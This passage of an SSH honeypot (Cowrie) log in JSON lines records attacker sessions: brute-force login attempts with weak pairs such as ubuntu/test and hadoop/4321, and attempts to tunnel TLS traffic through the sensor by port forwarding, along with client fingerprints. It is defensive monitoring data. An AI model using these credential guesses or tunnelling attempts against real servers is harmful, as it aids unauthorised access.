F\\xae\\xd8\\x0f\\xc7($_~\\xaf\\xe6\\xb4\\x99wM\\xd3\\xdc\\xbb\\xef\\xe8%\\xcd0[\\x83\\xcb\\xbfJ?\\xc3\\xcdv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r8T\\xa3nPjK\\x8f\\xb1A\\xc4\\xbdh7\\x92\\x8at\\xad>j\\x8c\\x80\\x10O\\x13|TT\\x01Y0 \\x86M\\x1d\\x88\\xb4\\xcd\\xb3K\\x04;V\\x80?\\xf7x\\xda\\xcc\\xab\\xa0\\x8e\\tV,,B\\xaf\\xa1\\x8e\\xce\\xc6\\x0c\\n\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xae\\xd8\\x0f\\xc7($_~\\xaf\\xe6\\xb4\\x99wM\\xd3\\xdc\\xbb\\xef\\xe8%\\xcd0[\\x83\\xcb\\xbfJ?\\xc3\\xcdv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:47.487580Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:47.774597Z","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:48.059612Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x970zU-Vfr\\xdf\\xde\\t\\xed\\xa1\\xee$^U\\x8f\\x88?\\xe5\\xa2\\xa2\\xffv\\xe2\\x19*\\xca\\xcd\\x938 #g\\x03p <`f\\x03+\\x82<\\xc2ww\\x13\\xee+\\x9f\\xc3\\xa0\\xaa\\xcc]B\\xd3&\\xa40\\x1a\\xf2x\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\xefqbd\\x8a\\xcc\\xfb\\x17t)\\xdf\\t\\xe6\\x18\\x0b\\x12\\t\\x7f^\\xfc\\x00 \\xe5\\xd2\\xffwj\\xdd\\t|o\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x970zU-Vfr\\xdf\\xde\\t\\xed\\xa1\\xee$^U\\x8f\\x88?\\xe5\\xa2\\xa2\\xffv\\xe2\\x19*\\xca\\xcd\\x938 #g\\x03p <`f\\x03+\\x82<\\xc2ww\\x13\\xee+\\x9f\\xc3\\xa0\\xaa\\xcc]B\\xd3&\\xa40\\x1a\\xf2x\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\xefqbd\\x8a\\xcc\\xfb\\x17t)\\xdf\\t\\xe6\\x18\\x0b\\x12\\t\\x7f^\\xfc\\x00 \\xe5\\xd2\\xffwj\\xdd\\t|o\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:48.062946Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:48.462968Z","src_ip":"113.164.152.20","session":"97356e4d16e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:49.070956Z","src_ip":"91.92.40.36","session":"1b01fc23ca71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test","message":"login attempt [ubuntu/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:49.698838Z","src_ip":"91.92.40.36","session":"ffc0fc748a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:51.252532Z","src_ip":"91.92.40.36","session":"ffc0fc748a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28498,"dst_ip":"159.203.135.109","dst_port":22,"session":"b25767a41789","protocol":"ssh","message":"New connection: 91.92.40.36:28498 (159.203.135.109:22) [session: b25767a41789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:54.624044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:54.842727Z","src_ip":"91.92.40.36","session":"b25767a41789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:54.846529Z","src_ip":"91.92.40.36","session":"b25767a41789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.066294Z","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.124016Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\xa7d12\\xbawx\\r\\x13n\\x93\\xde \\xdf\\xe9\\xf7oHu\\x14\\x98\\x93]\\xd7lR\\xc7Ux\\x8eu N\\xbf\\xf3\\xa3\\xb0N\\xb5\\xc9\\x1eO8\\x98\\xac\\xa7\\xbfT\\x1fPZ&~b\\x93{\\xed;\\x1d\\r:\\x13\\x83*\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\x17\\xc1\\xd6,\\xca\\xdc\\x19N\\x85\\xc4\\xa1\\x0c\\xb9\\xb5\\xef\\xae'9\\xd7&\\xf8)\\xd9|lB\\x8e\\x13\\xef\\xd2r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\xa7d12\\xbawx\\r\\x13n\\x93\\xde \\xdf\\xe9\\xf7oHu\\x14\\x98\\x93]\\xd7lR\\xc7Ux\\x8eu N\\xbf\\xf3\\xa3\\xb0N\\xb5\\xc9\\x1eO8\\x98\\xac\\xa7\\xbfT\\x1fPZ&~b\\x93{\\xed;\\x1d\\r:\\x13\\x83*\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\x17\\xc1\\xd6,\\xca\\xdc\\x19N\\x85\\xc4\\xa1\\x0c\\xb9\\xb5\\xef\\xae'9\\xd7&\\xf8)\\xd9|lB\\x8e\\x13\\xef\\xd2r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.127239Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"4321","message":"login attempt [hadoop/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.170650Z","src_ip":"91.92.40.36","session":"b25767a41789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.518398Z","session":"edcbe2053c9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:56.577849Z","src_ip":"23.175.50.47","session":"edcbe2053c9b","protocol":"ssh"}
